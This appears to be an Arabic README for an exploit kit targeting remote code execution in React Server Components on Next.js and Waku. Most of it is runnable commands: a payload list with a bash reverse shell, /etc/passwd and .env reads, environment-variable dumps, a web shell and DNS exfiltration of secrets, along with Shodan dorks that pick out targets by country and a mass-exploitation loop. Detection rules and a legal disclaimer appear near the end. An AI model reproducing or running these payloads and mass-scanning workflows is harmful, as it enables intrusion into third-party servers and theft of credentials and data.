المهاجم → حمولة RSC خبيثة → الخادم المستهدف
                                         ↓
                              إلغاء التسلسل غير الآمن
                                         ↓
                              الوصول إلى سلسلة النموذج الأولي
                                         ↓
                              منشئ الدالة
                                         ↓
                              ⚠️ تحقق RCE ⚠️

git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit

npm install
# أو
yarn install

# تثبيت Shodan CLI
pip install shodan

# التهيئة باستخدام مفتاح API الخاص بك
shodan init YOUR_API_KEY

node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console

# بدء المستمع
nc -lvnp 4444

# تنفيذ الاستغلال
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload execCommand \
  --command "whoami"

node rsc-rce-exploit.js [options]

node rsc-rce-exploit.js --list

📋 الحمولات المتاحة:

  console              - إثبات مفهوم أساسي - إخراج وحدة التحكم
    الكود: console.log(7*7+1)

  reverseShell         - صدفة عكسية (bash)
    الكود: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

  readFile             - قراءة /etc/passwd
    الكود: console.log(require('fs').readFileSync('/etc/passwd','utf8'))

  envDump              - تفريغ متغيرات البيئة
    الكود: console.log(JSON.stringify(process.env,null,2))

  execCommand          - تنفيذ أمر نظام
    الكود: console.log(require('child_process').execSync('COMMAND').toString())

  webshell             - كتابة صدفة ويب إلى /tmp
    الكود: require('fs').writeFileSync('/tmp/shell.js','...')

  exfilPackage         - قراءة package.json
    الكود: console.log(require('fs').readFileSync('./package.json','utf8'))

  dnsExfil             - تسريب DNS
    الكود: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)

node rsc-rce-exploit.js \
  --target http://target.com \
  --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"

# Next.js أساسي
http.component:"Next.js"

# Next.js مع RSC
http.html:"__next" http.html:"RSC"

# وضع التطوير Next.js (أكثر عرضة)
http.html:"__NEXT_DATA__" http.html:"development"

# Next.js مستضاف ذاتيًا (ليس على Vercel)
http.component:"Next.js" -org:"Vercel"

# مستهدف جغرافيًا (فرنسا)
http.component:"Next.js" country:FR

# المزيج النهائي لاختبار الاختراق
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080

# إطار Waku
http.html:"waku" http.html:"RSC"

# نقاط نهاية Waku RSC
http.path:"/RSC/"

# مسح واختبار تلقائيًا
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100

# مع حمولة مخصصة
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump

# 1. البحث في Shodan
shodan search 'http.component:"Next.js" country:FR' \
  --fields ip_str,port,org,hostnames \
  --limit 100 > targets.txt

# 2. اختبار كل هدف
while read -r line; do
    ip=$(echo $line | awk '{print $1}')
    port=$(echo $line | awk '{print $2}')
    echo "[*] اختبار http://$ip:$port"
    node rsc-rce-exploit.js \
      --target "http://$ip:$port" \
      --payload console
done < targets.txt

# من ملف
node mass-exploit.js --file targets.txt --payload console --threads 10

# من Shodan
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump

# حفظ النتائج
node mass-exploit.js --file targets.txt --payload console --output results.json

# .github/workflows/security-test.yml
name: اختبار أمان RSC
on: [push]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - run: npm install
      - run: node rsc-rce-exploit.js --target http://staging.example.com --payload console

node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload console

╔═══════════════════════════════════════════════════════════╗
║           RSC RCE Exploit - Enhanced Version              ║
║         React Server Components Code Execution            ║
╚═══════════════════════════════════════════════════════════╝

[*] بدء الاستغلال...
[*] استهداف نقطة نهاية Next.js RSC...
[*] URL: https://vulnerable.example.com
[*] الحمولة: console.log(7*7+1)...
[+] حالة الاستجابة: 200
[+] جسم الاستجابة:
50
[*] اكتمل الاستغلال!

node rsc-rce-exploit.js \
  --target https://api.target.com \
  --payload envDump

# الطرفية 1: بدء المستمع
nc -lvnp 4444

# الطرفية 2: تنفيذ الاستغلال
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload webshell

# الوصول إلى صدفة الويب
curl "http://vulnerable.example.com:9999/cmd?c=whoami"

# إعداد Burp Collaborator أو خادم DNS الخاص بك
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"

node rsc-rce-exploit.js \
  --target https://waku-app.example.com \
  --framework waku \
  --endpoint /RSC/custom.txt \
  --payload execCommand \
  --command "id"

# قراءة ملفات حساسة
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "console.log(require('fs').readFileSync('.env','utf8'))"

rule RSC_RCE_Exploit {
    strings:
        $s1 = "constructor:constructor"
        $s2 = "_prefix"
        $s3 = "$@"
        $s4 = "resolved_model"
    condition:
        3 of them
}

alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)

⚠️ إخلاء المسؤولية القانوني ⚠️

هذه المجموعة مقدمة لاختبار الاختراق المصرح به والبحث الأمني فقط.

باستخدام هذا البرنامج، فإنك توافق على ما يلي:

1. اختبار الأنظمة التي تملكها فقط أو التي لديك إذن كتابي صريح لاختبارها
2. الامتثال لجميع القوانين المحلية والولائية والوطنية والدولية المعمول بها
3. عدم استخدام هذه الأداة لأغراض ضارة أو أنشطة غير قانونية
4. تحمل المسؤولية الكاملة عن أفعالك

المؤلفون والمساهمون:
- ليسوا مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة
- لا يشجعون أو يوافقون على النشاط غير القانوني
- يقدمون هذه الأداة "كما هي" دون أي ضمان من أي نوع

الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.

سيتم مقاضاة المخالفين إلى أقصى حد يسمح به القانون بموجب:
- قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA) - الولايات المتحدة
- قانون إساءة استخدام الكمبيوتر - المملكة المتحدة
- اتفاقية الجرائم الإلكترونية الأوروبية
- وقوانين أخرى سارية في منطقتك القضائية

الاستخدام على مسؤوليتك الخاصة.

MIT License

حقوق الطبع والنشر (c) 2024 المساهمون في RSC RCE Exploit

يُمنح الإذن، مجانًا، لأي شخص يحصل على نسخة
من هذا البرنامج والملفات الوثائقية المرتبطة به ("البرنامج")، للتعامل
في البرنامج دون قيود، بما في ذلك على سبيل المثال لا الحصر الحقوق
في الاستخدام والنسخ والتعديل والدمج والنشر والتوزيع والترخيص، و/أو بيع
نسخ من البرنامج، والسماح للأشخاص الذين يتم تزويدهم بالبرنامج
بالقيام بذلك، وفقًا للشروط التالية:

يجب تضمين إشعار حقوق الطبع والنشر أعلاه وإذن الإذن هذا في جميع
النسخ أو الأجزاء الجوهرية من البرنامج.

يتم توفير البرنامج "كما هو"، دون أي ضمان من أي نوع، صريح أو
ضمني، بما في ذلك على سبيل المثال لا الحصر ضمانات القابلية للتسويق،
والملاءمة لغرض معين وعدم الانتهاك. في أي حال من الأحوال لا يكون
المؤلفون أو أصحاب حقوق الطبع والنشر مسؤولين عن أي مطالبة أو أضرار أو غيرها
من المسؤولية، سواء في إجراء تعاقدي أو تقصيري أو غير ذلك، الناشئة عن
أو فيما يتعلق بالبرنامج أو استخدامه أو التعاملات الأخرى في
البرنامج.